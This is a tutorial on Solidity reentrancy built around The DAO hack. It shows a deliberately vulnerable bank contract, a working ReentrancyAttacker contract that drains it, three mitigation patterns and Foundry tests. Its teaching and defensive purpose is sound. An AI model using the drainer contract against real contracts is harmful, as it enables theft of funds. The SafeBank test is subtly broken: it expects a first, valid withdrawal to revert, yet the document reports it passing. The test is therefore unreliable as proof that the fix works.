Reentrancy: The Vulnerability That Cost The DAO $60 Million
1. Overview
Reentrancy is one of Solidity’s most notorious vulnerabilities — and it’s the reason The DAO lost approximately 3.6 million ETH (~$60 million USD at the time in 2016). This article explains the nature of reentrancy, recreates the attack scenario with real code, and shows three of the most common mitigation approaches. By the end, you’ll be able to write a vulnerable contract, an exploit contract, and a patched contract — complete with Foundry tests to prove it works.
2. What is Reentrancy
Reentrancy occurs when contract A makes an external call to contract B, and B calls back into A before A has finished updating its state. If A relies on that old state to make decisions, B can exploit that window to repeat an action (like withdrawing funds) multiple times.
The key point: in Solidity, any call, send, or ETH transfer with data can trigger the fallback/receive function of the recipient — and that’s where the loop begins.
3. The DAO: What Happened
The DAO was a decentralized investment fund that allowed token holders to withdraw their ETH via a splitDAO function. The function sends ETH first, then updates the withdrawer’s balance. An attacker wrote a contract with a fallback function that calls splitDAO right when it receives ETH — and since the balance hadn’t been decremented, the attacker could drain funds multiple times in a single transaction.
The result: 3.6 million ETH drained before the Ethereum community had to perform a controversial hard fork (creating Ethereum Classic) to restore the funds.
4. Recreating the Vulnerability in Code
4.1. A Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Send ETH BEFORE updating state -> vulnerability!
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
withdraw() calls msg.sender.call{value: amount}("") first, then sets balances[msg.sender] = 0. If msg.sender is a contract with a fallback, it can call withdraw() again while the call is executing — at that point, balances[msg.sender] hasn’t been decremented yet.
4.2. The Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank public bank;
uint256 public constant ATTACK_AMOUNT = 1 ether;
constructor(address bankAddress) {
bank = VulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
bank.deposit{value: ATTACK_AMOUNT}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw(); // call again while balances[this] hasn't gone to 0
}
}
}
Execution flow:
attack()deposits 1 ETH intoVulnerableBank, then callswithdraw().withdraw()sends 1 ETH toReentrancyAttacker, triggeringreceive().- In
receive(), the attacker sees the bank still has ETH, so callswithdraw()again — butbalances[attacker]is still 1 ether (since we haven’t reached the update line yet). - The loop continues until the bank runs out of funds or gas.
Bank balance before attack: 10 ether
Bank balance after attack: 0 ether
Attacker balance: 11 ether
Note: The code above is for educational purposes only. Do not deploy on mainnet or public testnets — even “just for fun”.
5. Why This Code Is Vulnerable
The root cause is violating the Checks-Effects-Interactions principle: first check (verify conditions), then update state (effect), then interact externally (interaction). VulnerableBank reverses the order of effect and interaction — it sends ETH (interaction) before decrementing the balance (effect).
Moreover, call{value: amount}("") forwards all remaining gas to the recipient (unlike transfer/send which limit to 2300 gas), so the attacker has enough gas to execute complex logic in fallback/receive.
6. How to Prevent Reentrancy
6.1. Checks-Effects-Interactions Pattern
The simplest and cheapest approach: update state before making external calls.
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // Effect first
(bool success, ) = msg.sender.call{value: amount}(""); // Interaction after
require(success, "Transfer failed");
}
When the attacker calls withdraw() again in receive(), balances[msg.sender] is already 0, so require(amount > 0) reverts immediately — the loop is stopped.
6.2. OpenZeppelin’s ReentrancyGuard
If the logic is more complex and you want an explicit protection layer, use the nonReentrant modifier.
<!-- If using Hardhat/npm, install via npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
nonReentrant uses an internal _status variable: when the function is running, it sets the state to “locked”; if there’s a call back into any other nonReentrant function of the contract during that time, the transaction reverts.
Note:
nonReentrantonly protects functions in the same contract with the modifier. It cannot prevent cross-contract reentrancy if you call into another contract and that contract calls back into a function withoutnonReentrant.
6.3. Pull Payment Pattern
Instead of automatically sending ETH, let users withdraw via a separate step, separating the logic for accruing funds and the logic for transferring them:
contract PullPaymentBank {
mapping(address => uint256) public pendingWithdrawals;
function creditWithdrawal(address user, uint256 amount) internal {
pendingWithdrawals[user] += amount;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
This pattern separates risk: even if withdraw() is called again, the logic to credit funds (creditWithdrawal) already happened elsewhere and isn’t affected.
7. Writing Tests to Prove the Attack and the Fix
For Solidity, the testing tool equivalent to JUnit is Foundry (forge-std). The tests below show that VulnerableBank gets drained while SafeBank does not.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank bank;
SafeBank safeBank;
address victim = address(0x1);
function setUp() public {
bank = new VulnerableBank();
safeBank = new SafeBank();
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
}
function test_VulnerableBank_IsDrainedByReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
function test_SafeBank_RejectsReentrancy() public {
vm.deal(victim, 10 ether);
vm.prank(victim);
safeBank.deposit{value: 10 ether}();
// Use attacker against SafeBank -> expect can't withdraw more than once
vm.expectRevert();
vm.prank(victim);
safeBank.withdraw(); // calling again after already withdrew will revert since amount = 0
}
}
Run tests:
forge test -vv
Expected output:
[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()
The first test asserts that the bank is drained to 0 and the attacker receives 11 ETH — matching the The DAO scenario. The second test asserts that with SafeBank (applying Checks-Effects-Interactions), the second withdrawal reverts because the balance is already 0.
8. Common Mistakes
- Switching from
calltotransfer/sendwithout fixing the order of state updates:transferlimits gas to 2300, which does block simple reentrancy, but it’s not a complete solution — many legitimate wallets/contracts need more than 2300 gas to receive ETH (like proxy contracts), causing valid transactions to fail. - Overlooking cross-function reentrancy: two different functions that read/write the same state variable can be exploited against each other if you only fix one.
- Read-only reentrancy: a
viewfunction returns stale state that another contract reads and uses incorrectly while a different transaction is executing — this still causes damage even without direct fund transfers. - Trusting
nonReentrantalone is enough for your whole system: if you have multiple interacting contracts, you must review the entire call flow, not just one contract in isolation.
Note: Never treat any single pattern as “completely immune.” Always combine Checks-Effects-Interactions with
nonReentrantfor functions with external calls and money involved.
9. Conclusion
The DAO incident is a costly lesson: an innocuous-looking instruction order (send funds first, update the ledger later) forced the entire Ethereum community to hard fork. The Checks-Effects-Interactions principle, the nonReentrant modifier, and the pull payment pattern are three basic yet powerful tools to stop this class of vulnerability. Whenever you write any function with an external call and money transfer, always ask yourself: “Have I updated my state before I call out?”